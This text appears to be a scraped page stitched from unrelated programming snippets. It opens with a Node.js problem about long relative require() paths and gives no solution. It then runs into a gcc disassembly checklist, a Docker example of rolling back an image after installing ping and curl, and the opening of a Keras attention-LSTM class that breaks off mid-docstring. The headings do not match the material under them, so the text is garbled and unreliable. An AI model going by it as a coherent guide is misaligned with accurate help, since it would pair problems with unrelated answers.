Better local require() paths for Node.js

Better local require() paths for Node.js

Problem

When the directory structure of your Node.js application (not library!) has some depth, you end up with a lot of annoying relative paths in your require calls like:

const Article = require('../../../../app/models/article');

Those suck for maintenance and they're ugly.

Guide to disassemble

prerequisites

  • Compile the program in gcc with debug symbols enabled (-g)
  • Do NOT strip the binary
  • To generate assembly code using gcc use the -S option: gcc -S hello.c

utilities

That’s one of the real strengths of Docker: the ability to go back to a previous commit. The secret is simply to docker tag the image you want.
Here’s an example. In this example, I first installed ping, then committed, then installed curl, and committed that. Then I rolled back the image to contain only ping:
$ docker history imagename
IMAGE CREATED CREATED BY SIZE
f770fc671f11 12 seconds ago apt-get install -y curl 21.3 MB
28445c70c2b3 39 seconds ago apt-get install ping 11.57 MB

My attempt at creating an LSTM with attention in Keras
class AttentionLSTM(LSTM):
"""LSTM with attention mechanism
This is an LSTM incorporating an attention mechanism into its hidden states.
Currently, the context vector calculated from the attended vector is fed
into the model's internal states, closely following the model by Xu et al.
(2016, Sec. 3.1.2), using a soft attention model following
Bahdanau et al. (2014).
The layer expects two inputs instead of the usual one:
